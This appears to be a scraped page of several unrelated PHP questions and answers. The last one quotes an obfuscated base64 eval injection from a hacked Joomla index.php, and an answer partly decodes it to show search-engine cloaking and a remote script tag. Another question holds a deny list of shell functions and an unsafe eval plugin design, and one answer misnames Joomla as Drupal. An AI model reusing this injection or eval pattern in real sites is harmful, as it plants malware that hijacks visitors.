PHP not always getting value from $_GET - php

I have a Wordpress shortcode that will display the appropriate image based on some values passed through the query string. It gets the value with $_GET['utm_content'].
Not sure why it would be a browser thing, but... it works as expected 100% of the time in non-incognito Chrome. With Chrome in incognito mode, Firefox and Safari, it only gets the value a percentage of the time. When it doesn't get it isset($_GET['utm_content']) fails....
Here's the entire function. You can see my debugging code at the end.
add_shortcode('bene_show_img', 'bene_show_img');
function bene_show_img( $atts, $content = null ) {
$utm_campaign = isset($_GET['utm_campaign']) ? $_GET['utm_campaign'] : 'not set';
$utm_content = isset($_GET['utm_content']) ? $_GET['utm_content'] : 'not set';
extract( shortcode_atts( array(
'base_path' => 'wp-content/uploads',
'img_path' => substr( substr_replace( substr($utm_campaign, 0, 8) , '/', 4, 0 ), 0, 7 ),
'img_base_name' => substr($utm_campaign, 8),
'img_ver' => $utm_content,
'img_ext' => 'png'
), $atts ) );
$bp = esc_attr($base_path);
$p = esc_attr($img_path);
$bn = esc_attr($img_base_name);
$v = esc_attr($img_ver);
$e = esc_attr($img_ext) . '?r=' . rand();
// TODO: if the final path does not point to an image, try decreasing then increasing the
// month by 1...
// Return a string to display on the page
$tag = <<<EOD
<img width="1024" height="535" src="/$bp/$p/$bn-$v-1024x538.$e"
class="attachment-large size-large" alt=""
srcset="/$bp/$p/$bn-$v-1024x538.$e 1024w,
/$bp/$p/$bn-$v-300x175.$e 300w,
/$bp/$p/$bn-$v-768x401.$e 768w,
/$bp/$p/$bn-$v.$e 1200w"
sizes="(max-width: 1024px) 100vw, 1024px">
EOD;
return "<h2>XX $utm_content $utm_campaign XX</h2>" . $tag;
//return $tag;
}
What am I missing?
In case my error not overly visible, you can see the behavior live at: http://wordpress-310389-952347.cloudwaysapps.com/20200709-1/?utm_campaign=20200709page&utm_content=1a
UPDATE
Just to be sure it wasn't any sort of weird shortcode thing, I added the following to functions.php and get consistent results when viewing the URL above
add_shortcode('getit', 'getit');
function getit() {
return $_GET['utm_content'];
}
echo '<pre>' . do_shortcode('[getit]') . '</pre>';
echo '<pre>' . getit() . '</pre>';

Related

PHP unable to echo the text after a condition is met

I am not getting the desired result from the code below. Everything works fine But there is one main problem:
When there is no song in the database it shows empty result just with back button. It fails to show echo 'Sorry! This song is not available on our database.';
I cant figure out where the mistake is. So plz help.
Thanks in advance!!!
<?php
// Php code that fetches audio from the database in server and shows the audio files with singers available for the submitted data
// In submission page DROPDOWN consists of Playlist name and TEXTBOX allows to type the song number for that playlist.
// Standard format for the audio file stored in the databse is Songnumber-Playlistname-Singer's Shortname.mp3
// MP3 files will be inside the AUDIO folder and this PHP code runs from the root folder where there is index.html file for data submission.
// Valid song Numbers of Each Playlists that user choose
$validsongnumbers = [
'Rock' => 3,
'Pop' => 5,
'Jazz' => 6
];
// Data captured from dropdown submitted by a user in homepage
$PlaylistName = $_POST['Dropdown'];
$songNumber = $_POST['songnumber'];
// Check the playlist exists
if (!array_key_exists($PlaylistName, $validsongnumbers)) {
echo 'Invalid playlist provided.';
exit;
}
// Check the song number is not greater than what is allowed
if ((int)$songNumber > $validsongnumbers[$PlaylistName]) {
echo 'Invalid song number provided.';
exit;
}
$userselectedsong=sprintf('%s-%s', $songNumber, $PlaylistName );
$audiofilelocation = 'audio/' .$userselectedsong. ".mp3";
// check for user entered song in entire audio folder
$files = glob("audio/" .$userselectedsong. "*.{mp3,wav,wma,mp4}", GLOB_BRACE);
$count= count ($files);
if ($count == 0) {
echo '<span style="color: red;"/>Sorry! This song is not available on our database.</span>'; //Why this part is not wotking??? Rest all is ok
}else
$arr=outputFiles( $audiofilelocation , $userselectedsong );
foreach( $arr as $obj ) {
printf(
'<link rel="stylesheet" type="text/css" href="audio/css/main.css"><div class="wrap-login100 p-l-85 p-r-85 p-t-55 p-b-55"><br><br><audio width="100%" height="100%" controls="controls" src="%1$s" controlslist="nodownload" type="audio/mp3" style="visibility: visible;">
</audio><br /><font size="4" color="#000080"><b>Singer : <font size="4" color="#B22222">%2$s<br></b></font></font></div>',
$obj->file,
$obj->name
);
}
function singeractualname( $ssn ) {
switch( $ssn ){
case 'RI':return 'Rihanna';
case 'MJ':return 'Michael Jackson';
default:return 'Singer name not available !!!';
}
}
function outputFiles( $path, $song ){
$output=[];
if( file_Exists( $path ) ){
$dirItr=new RecursiveDirectoryIterator( $path, RecursiveDirectoryIterator::KEY_AS_PATHNAME );
foreach( new RecursiveIteratorIterator( $dirItr, RecursiveIteratorIterator::CHILD_FIRST ) as $obj => $info ) {
if( $info->isFile() ){
$pttn=sprintf( '#%s-\w+\.\w+#i', $song );
preg_match( $pttn, $info->getFileName(), $col );
if( !empty( $col ) ){
foreach( $col as $file ){
$ext=pathinfo( $file, PATHINFO_EXTENSION );
list( $int, $cat, $code )=explode( '-', pathinfo( $file, PATHINFO_FILENAME ) );
$output[]=(object)[
'ext' => $ext,
'code' => $code,
'name' => singeractualname( $code ),
'file' => 'audio/' . $info->getFileName(),
'index' => $int,
'category' => $cat
];
}
}
}
}
}
return $output;
}
First you have doubled "if if":
if if(count($files) < 0
Second, number of files can never be negative. You should compare if number is equal 0 (zero), not less than 0.
UPDATE:
Still wrong code:
if ($count=0)
This is not comparison, but assignment. You are giving $count value 0. For comparison you must use:
if ($count == 0)

integrating twitter feed into a shortcode for wordpress

I'm trying to create a simple shortcode for wordpress that has the following variables:
- username
- no_of_tweets
So a user could write [twitter_feed username="USERNAME" no_of_tweets="5"]
and it displays a list of 5 of their latest tweets. I have been using a plugin called Twitter Feed for developers - it does all the oAuth stuff and the idea is that you just write the code to output some front end html.
I have it working except for one annoying glitch - I can't get the no_of tweets to work.
This code works, but doesn't allow for users to specify the no_of_tweets variable:
extract( shortcode_atts(
array(
'username' => 'skizzar_sites',
'no_of_tweets' => '3',
), $atts )
);
// Code
$tweets = getTweets(3, $username);
...
If I were tochange the code to the following (i.e. change the "3" in the $tweets variable, the code stops working:
extract( shortcode_atts(
array(
'username' => 'skizzar_sites',
'no_of_tweets' => '5',
), $atts )
);
// Code
$tweets = getTweets($no_of_tweets, $username);
Is there any reason why this might not be working correctly?
See full code below:
<?php
// Add Shortcode
function skizzar_twitter_feed( $atts ) {
// Attributes
extract( shortcode_atts(
array(
'username' => 'skizzar_sites',
'no_of_tweets' => '5',
), $atts )
);
// Code
$tweets = getTweets($no_of_tweets, $username);//change number up to 20 for number of tweets
if(is_array($tweets)){
// to use with intents
echo '<script type="text/javascript" src="//platform.twitter.com/widgets.js"></script>';
foreach($tweets as $tweet){
if($tweet['text']){
$the_tweet = $tweet['text'];
if(is_array($tweet['entities']['user_mentions'])){
foreach($tweet['entities']['user_mentions'] as $key => $user_mention){
$the_tweet = preg_replace(
'/#'.$user_mention['screen_name'].'/i',
'#'.$user_mention['screen_name'].'',
$the_tweet);
}
}
if(is_array($tweet['entities']['hashtags'])){
foreach($tweet['entities']['hashtags'] as $key => $hashtag){
$the_tweet = preg_replace(
'/#'.$hashtag['text'].'/i',
'#'.$hashtag['text'].'',
$the_tweet);
}
}
if(is_array($tweet['entities']['urls'])){
foreach($tweet['entities']['urls'] as $key => $link){
$the_tweet = preg_replace(
'`'.$link['url'].'`',
''.$link['url'].'',
$the_tweet);
}
}
echo $the_tweet;
echo '
<ul class="twitter_intents">
<li><a class="reply" href="https://twitter.com/intent/tweet?in_reply_to='.$tweet['id_str'].'"><i class="fa fa-reply"></i></a></li>
<li><a class="retweet" href="https://twitter.com/intent/retweet?tweet_id='.$tweet['id_str'].'"><i class="fa fa-retweet"></i></a></li>
<li><a class="favorite" href="https://twitter.com/intent/favorite?tweet_id='.$tweet['id_str'].'"><i class="fa fa-star"></i></a></li>
</ul>';
echo '
<p class="timestamp">
<a href="https://twitter.com/'.$username.'/status/'.$tweet['id_str'].'" target="_blank">
'.date('h:i A M d',strtotime($tweet['created_at']. '- 8 hours')).'
</a>
</p>';// -8 GMT for Pacific Standard Time
} else {
echo '
<br /><br />
Click here to read '.$username.'\'S Twitter feed';
}
}
}
}
add_shortcode( 'twitter_feed', 'skizzar_twitter_feed' );
Here is the getTweets function code:
/* implement getTweets */
function getTweets($username = false, $count = 20, $options = false) {
$config['key'] = get_option('tdf_consumer_key');
$config['secret'] = get_option('tdf_consumer_secret');
$config['token'] = get_option('tdf_access_token');
$config['token_secret'] = get_option('tdf_access_token_secret');
$config['screenname'] = get_option('tdf_user_timeline');
$config['cache_expire'] = intval(get_option('tdf_cache_expire'));
if ($config['cache_expire'] < 1) $config['cache_expire'] = 3600;
$config['directory'] = plugin_dir_path(__FILE__);
$obj = new StormTwitter($config);
$res = $obj->getTweets($username, $count, $options);
update_option('tdf_last_error',$obj->st_last_error);
return $res;
}

Eval'ing Plugins System

What would be the best way to do this?
I'm given a template with some things in it like {:HELLO-WORLD:} tags in it.
I'm also given an array like:
Array
(
[0] => Array
(
[Name] => {:HELLO-WORLD:}
[Plugin] => "<?php return 'Hello World'; ?>"
[Settings] =>
)
)
What can I do to make sure {:HELLO-WORLD:} gets replaced with the output of Hello World?
I am currently attempting:
private function PluginReplacer($arr, $str){
$gsCt = count($arr);
$kv = array();
for ($i=0;$i<$gsCt;++$i){
$kv[$arr[$i]['Name']] = $arr[$i]['Plugin'];
}
return str_replace(array_keys($kv), $this->EvalCode(array_values($kv)), $str);
}
// Eval Some Code
private function EvalCode($var){
require_once('plugins.php');
$pr = new CloudCMSPluginRunner();
$pr->Code = $var;
$pr->SitePath = GetSiteAssetsPath($this->SiteID);
$pr->RunIt();
echo $pr->Error;
}
<?php
class CloudCMSPluginRunner {
public $Code = '';
public $Error = '';
public $SitePath = '';
private $DoNotAllow = array('echo', 'eval', 'phpinfo', '/`/', 'chmod', 'chown', 'umask', 'shell_exec',
'exec', 'escapeshellcmd', 'proc_open', 'proc_terminate', 'proc_get_status',
'passthru', 'proc_nice', 'system', 'escapeshellarg', 'ob_start', 'ob_end_clean',
'ob_get_clean', 'session_start', 'putenv', 'header', 'sleep', 'uwait', 'ini_set',
'error_reporting', 'chgrp', 'basename', 'clearstatcache', 'copy', 'delete',
'dirname', 'disk_free_space', 'disk_total_space', 'diskfreespace', 'fclose',
'feof', 'fflush', 'fgetc', 'fgetcsv', 'fgets', 'fgetss', 'file_exists', 'file_get_contents',
'file_put_contents', 'file', 'fileatime', 'filectime', 'filegroup', 'fileinode', 'filemtime',
'fileowner', 'fileperms', 'filesize', 'filetype', 'flock', 'fnmatch', 'fopen', 'fpassthru',
'fputcsv', 'fputs', 'fread', 'fscanf', 'fseek', 'fstat', 'ftell', 'ftruncate', 'fwrite', 'glob',
'is_dir', 'is_executable', 'is_file', 'is_link', 'is_readable', 'is_uploaded_file', 'is_writeable',
'is_writable', 'lchgrp', 'lchown', 'link', 'linkinfo', 'lstat', 'mkdir', 'move_uploaded_file',
'parse_ini_file', 'parse_ini_string', 'pathinfo', 'pclose', 'popen', 'readfile', 'readlink',
'realpath_cache_get', 'realpath_cache_size', 'realpath', 'rename', 'rewind', 'rmdir', 'set_file_buffer',
'stat', 'symlink', 'tempnam', 'tmpfile', 'touch', 'unlink', 'chdir', 'chroot', 'closedir', 'dir',
'getcwd', 'opendir', 'readdir', 'rewinddir', 'scandir', 'dio_close', 'dio_fcntl', 'dio_open', 'dio_read',
'dio_seek', 'dio_stat', 'dio_tcsetattr', 'dio_truncate', 'dio_write', 'finfo_buffer', 'finfo_close',
'finfo_file', 'finfo_open', 'finfo_set_flags', 'mime_content_type', 'inotify_add_watch', 'inotify_init',
'inotify_queue_len', 'inotify_read', 'inotify_rm_watch', 'setproctitle', 'setthreadtitle', 'xattr_get',
'xattr_list', 'xattr_remove', 'xattr_set', 'xattr_supported');
public function RunIt(){
$valid = $this->CheckIt();
if($valid){
eval($this->Code);
}else{
// code is invalid
$this->Error = 'The code in this plugin is invalid.';
return null;
}
}
private function CheckIt(){
$ret = false;
ob_start(); // Catch potential parse error messages
$code = eval('if(0){' . "\n" . $this->Code . "\n" . '}');
ob_end_clean();
$ret = ($code !== false);
// run a check against the dissallowed
$ret = (stripos($this->Code , $this->DoNotAllow) !== false);
// make sure any path is there's and there's alone
$ret = (stripos($this->Code , $this->SitePath) !== false);
return $ret;
}
}
?>
But nothing is happenning... in fact the page I am attempting to run this on blanks out (meaning there is an error happenning)
You're generating code formatted as:
eval("function GetPageWeAreOn(){$p=explode('/',$_SERVER['REQUEST_URI']);return $p[1];}");
What's happening is that PHP is interpreting the variables wrongly - instead of passing them in to the eval'ed function, it's interpolating them first.
I've avoided the error by escaping them:
eval("function GetPageWeAreOn(){\$p=explode('/',\$_SERVER['REQUEST_URI']);return \$p[1];}");
You can avoid the need for escaping by putting your string to be eval'ed into single quotes, too - that doesn't try to interpolate variables:
eval('function GetPageWeAreOn(){$p=explode("/",$_SERVER["REQUEST_URI"]);return $p[1];}');

Adding html to t() in Drupal 6 template.php?

Hi I am trying to add html to the "t('Older Posts')" and "t('Newer Posts')" Is this possible ? I can figure it out ????
I am in a Drupal 6 template.php file.
This is the code I am trying to add as html -
<span>Newer Posts</span>
<span>Older Posts</span>
I need to replace the above in these spots located in the full function below ?
t('Older Posts')
t('Newer Posts')
I want to create something like this
t('<span>Older Posts</span>')
t('<span>Newer Posts</span>')
Full Function
function theme_views_mini_pager($tags = array(), $limit = 10,
$element = 0, $parameters = array(), $quantity = 9) {
global $pager_page_array, $pager_total;
// Calculate various markers within this pager piece:
// Middle is used to "center" pages around the current page.
$pager_middle = ceil($quantity / 2);
// current is the page we are currently paged to
$pager_current = $pager_page_array[$element] + 1;
// max is the maximum page number
$pager_max = $pager_total[$element];
// End of marker calculations.
$li_previous = theme('pager_previous', (isset($tags[1]) ? $tags[1] :
t('Older Posts')), $limit, $element, 1, $parameters);
if (empty($li_previous)) {
$li_previous = " ";
}
$li_next = theme('pager_next', (isset($tags[3]) ? $tags[3] : t('Newer Posts')),
$limit,$element, 1, $parameters);
if (empty($li_next)) {
$li_next = " ";
}
if ($pager_total[$element] > 5) {
$items[] = array(
'class' => 'action back pager-previous',
'data' => $li_previous,
);
$items[] = array(
'class' => 'action pager-next',
'data' => $li_next,
);
return theme('item_list', $items, NULL, 'ul', array('class' => 'pager'));
}
}
I am trying to figure out if this is possible I have tried many things and nothing has worked yet.
You can use
$link = '<span>' . t('Older Posts') . '</span>';
OR
$link = t('!link_startOlder Posts!link_end', array(
'!link_start' => '<a href="" class="action back"><span>',
'!link_end' => '</span></a>',
));

Fake antivirus redirection

My client's website was hacked, now the main URL redirects to a fake antivirus web page. So for now she has set a "contruction in progress" message with Joomla. Below is the code of the index.php page, in which I was hoping to find the damned redirection. But I can't. Can anybody help me finding it ?
<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXskR0xPQkFMU1snbXJfbm8nXT0xO2lmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXtmdW5jdGlvbiBnbWwoKXtpZiAoIXN0cmlzdHIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCJnb29nbGVib3QiKSYmKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpe3JldHVybiBiYXNlNjRfZGVjb2RlKCJQSE5qY21sd2RDQnpjbU05SW1oMGRIQTZMeTloWTNKdmMzTjFibWwyWlhKelpXbDBZbVZ2Y21jdVkyOXRMMjF0TG5Cb2NDSStQQzl6WTNKcGNIUSsiKTt9cmV0dXJuICIiO319aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7JFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywzLDEpKTskUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PTEwOyRSQTNENTJFNTJBNDg5MzZDREUwRjUzNTZCQjA4NjUyRjI9MDtpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTskUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7fWlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7JFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7fWlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxO31pZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7fSRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpO2lmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7JFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDO31yZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mzt9fWZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7aWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpO31lbHNle3JldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpO319b2Jfc3RhcnQoJ21yb2JoJyk7fX0="));?><?php
/**
* #version $Id: index.php 6022 2006-12-18 22:30:07Z friesengeist $
* #package Joomla
* #copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* #license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// Set flag that this is a parent file
define( '_VALID_MOS', 1 );
// checks for configuration file, if none found loads installation page
if (!file_exists( 'configuration.php' ) || filesize( 'configuration.php' ) < 10) {
$self = rtrim( dirname( $_SERVER['PHP_SELF'] ), '/\\' ) . '/';
header("Location: http://" . $_SERVER['HTTP_HOST'] . $self . "installation/index.php" );
exit();
}
require( 'globals.php' );
require_once( 'configuration.php' );
// SSL check - $http_host returns <live site url>:<port number if it is 443>
$http_host = explode(':', $_SERVER['HTTP_HOST'] );
if( (!empty( $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) != 'off' || isset( $http_host[1] ) && $http_host[1] == 443) && substr( $mosConfig_live_site, 0, 8 ) != 'https://' ) {
$mosConfig_live_site = 'https://'.substr( $mosConfig_live_site, 7 );
}
require_once( 'includes/joomla.php' );
//Installation sub folder check, removed for work with SVN
if (file_exists( 'installation/index.php' ) && $_VERSION->SVN == 0) {
define( '_INSTALL_CHECK', 1 );
include ( $mosConfig_absolute_path .'/offline.php');
exit();
}
// displays offline/maintanance page or bar
if ($mosConfig_offline == 1) {
require( $mosConfig_absolute_path .'/offline.php' );
}
// load system bot group
$_MAMBOTS->loadBotGroup( 'system' );
// trigger the onStart events
$_MAMBOTS->trigger( 'onStart' );
if (file_exists( $mosConfig_absolute_path .'/components/com_sef/sef.php' )) {
require_once( $mosConfig_absolute_path .'/components/com_sef/sef.php' );
} else {
require_once( $mosConfig_absolute_path .'/includes/sef.php' );
}
require_once( $mosConfig_absolute_path .'/includes/frontend.php' );
// retrieve some expected url (or form) arguments
$option = strval( strtolower( mosGetParam( $_REQUEST, 'option' ) ) );
$Itemid = intval( mosGetParam( $_REQUEST, 'Itemid', null ) );
if ($option == '') {
if ($Itemid) {
$query = "SELECT id, link"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND id = " . (int) $Itemid
. "\n AND published = 1"
;
$database->setQuery( $query );
} else {
$query = "SELECT id, link"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND published = 1"
. "\n ORDER BY parent, ordering"
;
$database->setQuery( $query, 0, 1 );
}
$menu = new mosMenu( $database );
if ($database->loadObject( $menu )) {
$Itemid = $menu->id;
}
$link = $menu->link;
if (($pos = strpos( $link, '?' )) !== false) {
$link = substr( $link, $pos+1 ). '&Itemid='.$Itemid;
}
parse_str( $link, $temp );
/** this is a patch, need to rework when globals are handled better */
foreach ($temp as $k=>$v) {
$GLOBALS[$k] = $v;
$_REQUEST[$k] = $v;
if ($k == 'option') {
$option = $v;
}
}
}
if ( !$Itemid ) {
// when no Itemid give a default value
$Itemid = 99999999;
}
// mainframe is an API workhorse, lots of 'core' interaction routines
$mainframe = new mosMainFrame( $database, $option, '.' );
$mainframe->initSession();
// trigger the onAfterStart events
$_MAMBOTS->trigger( 'onAfterStart' );
// checking if we can find the Itemid thru the content
if ( $option == 'com_content' && $Itemid === 0 ) {
$id = intval( mosGetParam( $_REQUEST, 'id', 0 ) );
$Itemid = $mainframe->getItemid( $id );
}
/** do we have a valid Itemid yet?? */
if ( $Itemid === 0 ) {
/** Nope, just use the homepage then. */
$query = "SELECT id"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND published = 1"
. "\n ORDER BY parent, ordering"
;
$database->setQuery( $query, 0, 1 );
$Itemid = $database->loadResult();
}
// patch to lessen the impact on templates
if ($option == 'search') {
$option = 'com_search';
}
// loads english language file by default
if ($mosConfig_lang=='') {
$mosConfig_lang = 'english';
}
include_once( $mosConfig_absolute_path .'/language/' . $mosConfig_lang . '.php' );
// frontend login & logout controls
$return = strval( mosGetParam( $_REQUEST, 'return', NULL ) );
$message = intval( mosGetParam( $_POST, 'message', 0 ) );
if ($option == 'login') {
$mainframe->login();
// JS Popup message
if ( $message ) {
?>
<script language="javascript" type="text/javascript">
<!--//
alert( "<?php echo addslashes( _LOGIN_SUCCESS ); ?>" );
//-->
</script>
<?php
}
if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
// checks for the presence of a return url
// and ensures that this url is not the registration or login pages
// If a sessioncookie exists, redirect to the given page. Otherwise, take an extra round for a cookiecheck
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $return );
} else {
mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $return ) );
}
} else {
// If a sessioncookie exists, redirect to the start page. Otherwise, take an extra round for a cookiecheck
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $mosConfig_live_site .'/index.php' );
} else {
mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $mosConfig_live_site .'/index.php' ) );
}
}
} else if ($option == 'logout') {
$mainframe->logout();
// JS Popup message
if ( $message ) {
?>
<script language="javascript" type="text/javascript">
<!--//
alert( "<?php echo addslashes( _LOGOUT_SUCCESS ); ?>" );
//-->
</script>
<?php
}
if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
// checks for the presence of a return url
// and ensures that this url is not the registration or logout pages
mosRedirect( $return );
} else {
mosRedirect( $mosConfig_live_site.'/index.php' );
}
} else if ($option == 'cookiecheck') {
// No cookie was set upon login. If it is set now, redirect to the given page. Otherwise, show error message.
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $return );
} else {
mosErrorAlert( _ALERT_ENABLED );
}
}
/** get the information about the current user from the sessions table */
$my = $mainframe->getUser();
// detect first visit
$mainframe->detect();
// set for overlib check
$mainframe->set( 'loadOverlib', false );
$gid = intval( $my->gid );
// gets template for page
$cur_template = $mainframe->getTemplate();
/** temp fix - this feature is currently disabled */
/** #global A places to store information from processing of the component */
$_MOS_OPTION = array();
// precapture the output of the component
require_once( $mosConfig_absolute_path . '/editor/editor.php' );
ob_start();
if ($path = $mainframe->getPath( 'front' )) {
$task = strval( mosGetParam( $_REQUEST, 'task', '' ) );
$ret = mosMenuCheck( $Itemid, $option, $task, $gid );
if ($ret) {
require_once( $path );
} else {
mosNotAuth();
}
} else {
header( 'HTTP/1.0 404 Not Found' );
echo _NOT_EXIST;
}
$_MOS_OPTION['buffer'] = ob_get_contents();
ob_end_clean();
initGzip();
header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );
// display the offline alert if an admin is logged in
if (defined( '_ADMIN_OFFLINE' )) {
include( $mosConfig_absolute_path .'/offlinebar.php' );
}
// loads template file
if ( !file_exists( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' ) ) {
echo _TEMPLATE_WARN . $cur_template;
} else {
require_once( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' );
echo '<!-- '. time() .' -->';
}
// displays queries performed for page
if ($mosConfig_debug) {
echo $database->_ticker . ' queries executed';
echo '<pre>';
foreach ($database->_log as $k=>$sql) {
echo $k+1 . "\n" . $sql . '<hr />';
}
echo '</pre>';
}
doGzip();
?>
That bit at the beginning with the exec(base64_decode()) nonsense is your target. Not a part of your CMS, skeezy as hell.
Delete it and rejoice. And then update the Drupal instance, change the root and user passwords, and subscribe to Drupal dev's update RSS so you can stop this happening again.
So assuming you want to understand how that single line works, I went and decoded the base 64 string that is being evaluated as PHP code. It gives the following code
if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){$GLOBALS['mr_no']=1;if(!function_exists('mrobh')){if(!function_exists('gml')){function gml(){if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&&(!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY3Jvc3N1bml2ZXJzZWl0YmVvcmcuY29tL21tLnBocCI+PC9zY3JpcHQ+");}return "";}}if(!function_exists('gzdecode')){function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){$R30B2AB8DC1496D06B230A71D8962AF5D=#ord(#substr($R5A9CF1B497502ACA23C8F611A564684C,3,1));$RBE4C4D037E939226F65812885A53DAD9=10;$RA3D52E52A48936CDE0F5356BB08652F2=0;if($R30B2AB8DC1496D06B230A71D8962AF5D&4){$R63BEDE6B19266D4EFEAD07A4D91E29EB=#unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2));$R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1];$RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB;}if($R30B2AB8DC1496D06B230A71D8962AF5D&8){$RBE4C4D037E939226F65812885A53DAD9=#strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;}if($R30B2AB8DC1496D06B230A71D8962AF5D&16){$RBE4C4D037E939226F65812885A53DAD9=#strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;}if($R30B2AB8DC1496D06B230A71D8962AF5D&2){$RBE4C4D037E939226F65812885A53DAD9+=2;}$R034AE2AB94F99CC81B389A1822DA3353=#gzinflate(#substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53